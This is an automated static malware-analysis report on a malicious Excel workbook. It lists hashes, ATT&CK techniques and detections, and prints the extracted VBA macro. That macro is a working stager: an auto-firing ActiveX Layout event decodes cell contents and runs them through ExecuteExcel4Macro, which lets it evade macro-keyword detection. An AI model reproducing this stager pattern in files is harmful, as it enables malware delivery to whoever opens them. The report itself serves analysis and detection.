Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 67d17eef725033d7…

MALICIOUS

Office (OOXML)

40.5 KB Created: 2020-07-28 06:56:52 UTC Authoring application: 16.0300 First seen: 2020-08-25
MD5: 18b2c77d5e6eff96774fb3ed89a1250e SHA-1: 46371484723fbf911a8814ca8a49f274fa3657bd SHA-256: 67d17eef725033d7f40aa8eddd11e9063daef0a9686fb285e4971151d68ed8d4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains VBA macros that leverage an ActiveX event to execute a decoded Excel 4.0 macro. This macro appears to be designed to download and execute a second-stage payload, as indicated by the ClamAV detection signature 'Xls.Malware.Mrhl-9774585-0'. The VBA code concatenates strings to form commands and uses ExecuteExcel4Macro, suggesting a downloader or stager functionality.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1131 bytes
SHA-256: 64b0e944c62c4b621c8a0fe53a211b3a6163bd3ebf9af64c8589f9be55cdc89e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Riduci, 1, 0, MSForms, Frame"
Private Sub Riduci_Layout()
On Error Resume Next
For a = 2 To 3411: For K = 1 To 212
o = "+"
cis = Cells(a, K): If IsEmpty(cis) = 0 Then T = T & cis
Next: imaggi = imaggi & Chr(T): T = "": Next: E = Split(imaggi, o)
For Each rom In E: fk = Len(ExecuteExcel4Macro(rom)): Next: Application.WindowState = xlMinimized: Application.Dialogs(xlDialogPrint).Show
End Sub
Sub Barre()
MsgBox "Vizualizza...", vbInformation: ActiveWorkbook.Close 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: b196941c411b24ed3cdfcf1be5bf9195f67a20383a35d18d52b24c4020139988
Detection
ClamAV: Xls.Malware.Mrhl-9774585-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 1976 bytes
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d